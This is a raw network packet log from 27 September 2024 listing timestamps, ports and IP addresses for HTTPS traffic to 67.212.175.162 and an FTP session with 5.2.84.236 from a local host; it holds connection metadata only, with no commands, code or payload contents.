Sep 27, 2024 10:43:23.869199991 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.869206905 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.869221926 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.869985104 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.870018959 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.870099068 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.870125055 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.870135069 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.870150089 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.870161057 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.870187044 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.870192051 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.870217085 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.870246887 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.870963097 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.871042967 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.871049881 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.871062994 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.871108055 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.871130943 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.871136904 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.871164083 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.880069017 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.880168915 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.880182028 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.880350113 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.880403042 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.880409956 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.880589962 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.880645990 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.880651951 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.880882978 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.880939007 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.880945921 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881103992 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881155968 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.881162882 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881340027 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881386995 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.881393909 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881654978 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881700039 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881706953 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.881711960 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.881746054 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.881792068 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.882553101 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.882611990 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.882622957 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.882627964 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.882649899 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.882659912 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.882664919 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.882698059 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.882817984 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.883016109 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.883085966 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.883121967 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.883172989 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.883191109 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.883197069 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.883225918 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.883261919 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.883950949 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.884130955 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.901690960 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.901915073 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.968841076 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.968980074 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.969000101 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.969013929 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.969047070 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.969106913 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.969122887 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.969183922 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.969327927 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.969532013 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.969604969 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.969716072 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.969727039 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.969784021 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.970145941 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.970201969 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.970432997 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.970493078 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.970597029 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.970668077 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.970963001 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971044064 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971075058 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971082926 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971096039 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971148968 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971674919 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971760035 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971788883 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971796036 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971824884 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971839905 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971863985 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971869946 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971895933 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971898079 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971925974 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.971931934 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.971967936 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.972014904 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.972341061 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.972341061 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:23.990420103 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:23.990708113 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.057492971 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.057573080 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.057717085 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.057751894 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.057760954 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.057897091 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.058015108 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.058103085 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.058265924 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.058345079 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.058654070 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.058712959 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.058720112 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.058868885 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.059025049 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.059082985 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.059403896 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.059469938 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.059487104 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.059545040 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.059926033 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.060033083 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.060125113 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.060185909 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.060193062 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.060229063 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.060257912 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.060264111 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.060300112 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.060976982 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.061022997 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.061058044 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.061064959 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.061078072 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.061111927 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.079010010 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.079361916 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.146126986 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.146303892 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.146327019 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.146339893 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.146358967 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.146600962 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.146672010 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.146754980 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.146966934 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.147057056 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.147245884 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.147305965 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.147313118 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.147325993 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.147361994 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.147376060 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.147388935 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.147420883 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.147440910 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.147932053 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.148003101 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.148010969 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.148067951 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.148530960 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.148585081 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.148608923 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.148616076 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.148634911 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.148699045 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.148987055 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.149056911 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.149108887 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.149243116 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.149975061 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.150039911 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.150051117 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.150054932 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.150094986 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.150131941 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.167371988 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.167455912 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.234548092 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.234690905 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.234776974 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.234946966 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.235004902 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.235116005 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.235356092 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.235440016 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.235532045 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.235594988 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.235773087 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.235836029 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.236028910 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.236084938 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.236358881 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.236418962 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.236427069 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.236494064 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.236840963 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.236896038 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.237142086 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.237232924 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.237273932 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.237338066 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.237348080 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.237436056 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.237884998 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.237977982 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.238042116 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.238101006 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.255889893 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.256088018 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.323164940 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.323244095 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.323405981 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.323405981 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.323426962 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.323473930 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.323590040 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.323685884 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.323775053 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.323841095 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.324032068 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.324121952 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.324301004 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.324361086 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.324623108 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.324702024 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.324708939 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.324839115 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.325054884 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.325119019 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.325402975 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.325469017 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.325475931 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.325557947 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.325957060 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.326018095 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.326026917 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.326097965 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.326364994 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.326456070 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.326541901 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.326606035 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.326618910 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.326711893 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.344533920 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.344604015 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:24.344630957 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.344847918 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:24.352941990 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:37.019808054 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:37.024851084 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:37.024928093 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:37.644287109 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:37.644542933 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:37.649394035 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:37.869940042 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:37.870100975 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:37.875080109 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.161242962 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.161375046 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:38.166168928 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.386324883 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.386569977 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:38.391402006 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.611373901 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.632256031 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:38.637098074 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.857228041 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:38.860129118 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:38.865056038 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:39.085021973 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:39.085927963 CEST	49708	55987	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:39.090823889 CEST	55987	49708	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:39.090892076 CEST	49708	55987	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:39.090953112 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:39.095746040 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:39.726114988 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:39.726339102 CEST	49708	55987	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:39.726399899 CEST	49708	55987	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:39.732899904 CEST	55987	49708	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:39.733198881 CEST	55987	49708	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:39.733257055 CEST	49708	55987	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:39.768673897 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:39.952034950 CEST	21	49705	5.2.84.236	192.168.2.5
Sep 27, 2024 10:43:40.003046036 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:43:45.669833899 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:45.669878960 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:45.669975042 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:45.674549103 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:45.674563885 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.180098057 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.180186033 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.182774067 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.182789087 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.183099985 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.237391949 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.257880926 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.299403906 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.378309011 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.378338099 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.378345013 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.378362894 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.378431082 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.378460884 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.399835110 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.399993896 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.400043011 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.440537930 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.466960907 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.466976881 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.467005014 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.467051029 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.467117071 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.468198061 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.468208075 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.468264103 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.469264984 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.469274044 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.469333887 CEST	52073	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:46.488336086 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.488348007 CEST	443	52073	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:46.488423109 CEST	52073	443	192.168.2.5	67.212.175.162
